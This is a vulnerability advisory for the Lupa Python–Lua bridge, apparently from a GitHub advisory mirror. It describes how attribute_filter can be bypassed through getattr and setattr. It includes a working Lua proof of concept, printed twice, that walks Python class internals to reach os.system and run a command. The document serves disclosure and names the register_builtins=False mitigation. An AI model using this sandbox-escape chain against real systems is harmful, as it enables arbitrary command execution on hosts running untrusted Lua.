GHSA-69V7-XPR6-6GJM
Vulnerability from github – Published: 2026-04-07 15:48 – Updated: 2026-04-07 15:48Summary
The attribute_filter in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.
However, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.
Details
The attribute_filter is meant to block access to attributes such as __class__, __mro__, and similar internal properties.
In practice, it only applies to direct attribute access:
- obj.attr → filtered
- getattr(obj, "attr") → not filtered
Because of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.
An attacker can use getattr to-
- Access __class__
- Walk the __mro__ chain
- Call __subclasses__()
- Iterate over available classes
- Find a function that exposes __globals__
- Retrieve something like os.system
At that point, arbitrary command execution becomes straightforward.
This effectively breaks the security boundary that attribute_filter is expected to enforce.
PoC
The following example shows how the filter can be bypassed to execute os.system:'
import lupa
from lupa import LuaRuntime
def protected_attribute_filter(obj, attr_name, is_setting):
if isinstance(attr_name, str) and attr_name.startswith('_'):
raise AttributeError(f"Access to '{attr_name}' is forbidden")
return attr_name
lua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)
class UserProfile:
def __init__(self, name): self.name = name
lua.globals().user = UserProfile("test")
lua.execute("""
local py = python.builtins
local getattr = py.getattr
local setattr = py.setattr
local cls = getattr(user, "__class__")
local _, obj_cls = getattr(cls, "__mro__")
local subs = getattr(obj_cls, "__subclasses__")()
for _, c in ipairs(subs) do
if tostring(c):find("os._wrap_close") then
local system = getattr(getattr(c, "__init__"), "__globals__")["system"]
setattr(user, "run", system)
user.run("id")
end
end
""")
Impact
An attacker who can execute Lua code can:
- Bypass the attribute_filter
- Access Python internals
- Traverse the object graph
- Reach execution primitives
This leads to full sandbox escape and arbitrary command execution in the host Python process.
Any application relying on attribute_filter as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the register_builtins=False option.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "lupa"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34444"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-07T15:48:13Z",
"nvd_published_at": "2026-04-06T16:16:35Z",
"severity": "HIGH"
},
"details": "### Summary\nThe `attribute_filter` in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.\n\nHowever, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.\n\n### Details\nThe `attribute_filter` is meant to block access to attributes such as `__class__`, `__mro__`, and similar internal properties.\n\nIn practice, it only applies to direct attribute access:\n- `obj.attr` \u2192 filtered\n- `getattr(obj, \"attr\")` \u2192 not filtered\nBecause of this inconsistency, it\u2019s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.\n\nAn attacker can use getattr to-\n- Access `__class__`\n- Walk the `__mro__` chain\n- Call `__subclasses__()`\n- Iterate over available classes\n- Find a function that exposes `__globals__`\n- Retrieve something like `os.system`\n\nAt that point, arbitrary command execution becomes straightforward.\n\nThis effectively breaks the security boundary that `attribute_filter` is expected to enforce.\n\n\n### PoC\nThe following example shows how the filter can be bypassed to execute `os.system`:\u0027\n```\nimport lupa\nfrom lupa import LuaRuntime\n\ndef protected_attribute_filter(obj, attr_name, is_setting):\n if isinstance(attr_name, str) and attr_name.startswith(\u0027_\u0027):\n raise AttributeError(f\"Access to \u0027{attr_name}\u0027 is forbidden\")\n return attr_name\n\nlua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)\n\nclass UserProfile:\n def __init__(self, name): self.name = name\n\nlua.globals().user = UserProfile(\"test\")\n\nlua.execute(\"\"\"\nlocal py = python.builtins\nlocal getattr = py.getattr\nlocal setattr = py.setattr\n\nlocal cls = getattr(user, \"__class__\")\nlocal _, obj_cls = getattr(cls, \"__mro__\")\n\nlocal subs = getattr(obj_cls, \"__subclasses__\")()\nfor _, c in ipairs(subs) do\n if tostring(c):find(\"os._wrap_close\") then\n local system = getattr(getattr(c, \"__init__\"), \"__globals__\")[\"system\"]\n setattr(user, \"run\", system)\n user.run(\"id\")\n end\nend\n\"\"\")\n```\n\n\n### Impact\nAn attacker who can execute Lua code can:\n- Bypass the `attribute_filter`\n- Access Python internals\n- Traverse the object graph\n- Reach execution primitives\n\nThis leads to full sandbox escape and arbitrary command execution in the host Python process.\nAny application relying on `attribute_filter` as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the `register_builtins=False` option.",
"id": "GHSA-69v7-xpr6-6gjm",
"modified": "2026-04-07T15:48:13Z",
"published": "2026-04-07T15:48:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/scoder/lupa/security/advisories/GHSA-69v7-xpr6-6gjm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34444"
},
{
"type": "PACKAGE",
"url": "https://github.com/scoder/lupa"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.